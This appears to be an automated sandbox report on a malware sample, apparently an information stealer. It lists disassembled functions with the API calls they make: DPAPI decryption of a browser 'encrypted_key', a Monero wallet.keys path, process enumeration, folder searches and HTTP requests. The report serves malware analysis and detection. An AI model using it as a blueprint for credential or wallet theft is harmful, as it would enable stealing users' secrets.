Function 005B9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005B99EC
Part of subcall function 005B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005B9A11
Part of subcall function 005B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005B9A31
Part of subcall function 005B99C0: ReadFile.KERNEL32(000000FF,?,00000000,005B148F,00000000), ref: 005B9A5A
Part of subcall function 005B99C0: LocalFree.KERNEL32(005B148F), ref: 005B9A90
Part of subcall function 005B99C0: CloseHandle.KERNEL32(000000FF), ref: 005B9A9A

Part of subcall function 005C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005C8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005B9D39

Part of subcall function 005B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N[,00000000,00000000), ref: 005B9AEF
Part of subcall function 005B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005B4EEE,00000000,?), ref: 005B9B01
Part of subcall function 005B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N[,00000000,00000000), ref: 005B9B2A
Part of subcall function 005B9AC0: LocalFree.KERNEL32(?,?,?,?,005B4EEE,00000000,?), ref: 005B9B3F

Part of subcall function 005B9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005B9B84
Part of subcall function 005B9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 005B9BA3
Part of subcall function 005B9B60: LocalFree.KERNEL32(?), ref: 005B9BD3

Strings

DPAPI, xrefs: 005B9D89
, xrefs: 005B9DC1
"encrypted_key":", xrefs: 005B9D30

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 7f38e43860674777c35126538adeb3f05036cc2565effaea8e104d3adef6d739
Instruction ID: 5d2be8e18a2d6dacc7eb0a45f9c09f79f40ef0e252dcd7c915295d8ee6b9ff9b
Opcode Fuzzy Hash: 7f38e43860674777c35126538adeb3f05036cc2565effaea8e104d3adef6d739
Instruction Fuzzy Hash: F53130B5D10109AFCF14DBE5DC89EEEBBB8BB48304F14451DEA05A7241E731AA04CBA5

Function 005C8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005D05B7), ref: 005C86CA
Process32First.KERNEL32(?,00000128), ref: 005C86DE
Process32Next.KERNEL32(?,00000128), ref: 005C86F3

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

CloseHandle.KERNEL32(?), ref: 005C8761

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 83368f548b57858872692eee87df6f36625b75880f4d4b26dc91138202bd763f
Instruction ID: 90cde81cdad4b24bb28e70d2d4fcd00d2696ce5ec3828f0f3149044c5dcc89ca
Opcode Fuzzy Hash: 83368f548b57858872692eee87df6f36625b75880f4d4b26dc91138202bd763f
Instruction Fuzzy Hash: 5E313C71901219AFCB24EB94DC49FEEBBB8FB45704F1041ADA50AA21A0DB746E45CFA1

Function 005C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00C7A058,?,005D110C,?,00000000,?,005D1110,?,00000000,005D0AEF), ref: 005C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 005C6AE8
CloseHandle.KERNEL32(00000000), ref: 005C6AF9
Sleep.KERNEL32(00001770), ref: 005C6B04
CloseHandle.KERNEL32(?,00000000,?,00C7A058,?,005D110C,?,00000000,?,005D1110,?,00000000,005D0AEF), ref: 005C6B1A
ExitProcess.KERNEL32 ref: 005C6B22

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: fd05db179ea36d7808b58c7e28bd098a0c81c5fa8525ed7232d2e0ee811d0356
Instruction ID: ba3c44972570e1aac18cd0f20a44fa8a49e46d80099d11c265498df7bfa7e477
Opcode Fuzzy Hash: fd05db179ea36d7808b58c7e28bd098a0c81c5fa8525ed7232d2e0ee811d0356
Instruction Fuzzy Hash: 80F05EB094020AEFE700ABE0DC0AFBE7F74FB44705F10891CB517A11C1DBB46A40DAAA

Function 005B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005B4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 005B4849

Strings

<, xrefs: 005B47C9

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 6071f32c0ea3b66639d0eeace2020652c2c42e7f2e55096f892e021f2a4e7eff
Instruction ID: 10f31e02cfb6f16a2293fbc7406d55a2297707b62cd53ad61bb61af674762b0f
Opcode Fuzzy Hash: 6071f32c0ea3b66639d0eeace2020652c2c42e7f2e55096f892e021f2a4e7eff
Instruction Fuzzy Hash: 7D214FB1D00209ABDF14EFA5E849BDE7B74FB44320F108629F919A72C1EB746A05CF91

Function 005C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B6280: InternetOpenA.WININET(005D0DFE,00000001,00000000,00000000,00000000), ref: 005B62E1
Part of subcall function 005B6280: StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B6303
Part of subcall function 005B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005B6335
Part of subcall function 005B6280: HttpOpenRequestA.WININET(00000000,GET,?,00C7EDD0,00000000,00000000,00400100,00000000), ref: 005B6385
Part of subcall function 005B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005B63BF
Part of subcall function 005B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005B63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 005C5228

Strings

ERROR, xrefs: 005C521A
ERROR, xrefs: 005C5273

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e842781183de873fc75e6c6beffb78c8e9c909afb60b02f6044b33794b7afda1
Instruction ID: 2792425124544697455445b36f24d20518f315aab51d9b67f2b8cd41bcaafdb0
Opcode Fuzzy Hash: e842781183de873fc75e6c6beffb78c8e9c909afb60b02f6044b33794b7afda1
Instruction Fuzzy Hash: 9411F830900449ABCB14FBA4DD5AFED7F78BF90304F804558A80A4A192EF34AB05CA92

Function 005C4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

lstrcat.KERNEL32(?,00000000), ref: 005C4F7A
lstrcat.KERNEL32(?,005D1070), ref: 005C4F97
lstrcat.KERNEL32(?,00C79DE8), ref: 005C4FAB
lstrcat.KERNEL32(?,005D1074), ref: 005C4FBD

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C492C
Part of subcall function 005C4910: FindFirstFileA.KERNEL32(?,?), ref: 005C4943

Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D0FDC), ref: 005C4971
Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D0FE0), ref: 005C4987
Part of subcall function 005C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005C4B7D
Part of subcall function 005C4910: FindClose.KERNEL32(000000FF), ref: 005C4B92

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 771e72b191cc1be34d452c5e8c698c67d31cc20d0e89532d68527f7bd9615300
Instruction ID: 780d4d41241cecf80d85fd338a9f5f563857823b1532a2df714fdacf8b6aaaf6
Opcode Fuzzy Hash: 771e72b191cc1be34d452c5e8c698c67d31cc20d0e89532d68527f7bd9615300
Instruction Fuzzy Hash: 122179B69002097BC754F7A0DC5AFF9373CB794300F408559B65D96181DE74A6C8CFA6

Function 005C0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00C79D38), ref: 005C079A
StrCmpCA.SHLWAPI(00000000,00C79DF8), ref: 005C0866
StrCmpCA.SHLWAPI(00000000,00C79D08), ref: 005C099D

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: aac39bc991891272f77b3e9d50b73f3e1a130873a21c40a74390b5b7ebb4e52a
Instruction ID: 27d4334565ffade6e3242d5e03d59f49d9877adf6ae3767ca286ef03daf9f88d
Opcode Fuzzy Hash: aac39bc991891272f77b3e9d50b73f3e1a130873a21c40a74390b5b7ebb4e52a
Instruction Fuzzy Hash: B8917775A001099FCB28EFA4DD95FED7BB5FFD4304F50851DE80A8B285DA30AA05CB92

Function 005C0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00C79D38), ref: 005C079A
StrCmpCA.SHLWAPI(00000000,00C79DF8), ref: 005C0866
StrCmpCA.SHLWAPI(00000000,00C79D08), ref: 005C099D

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

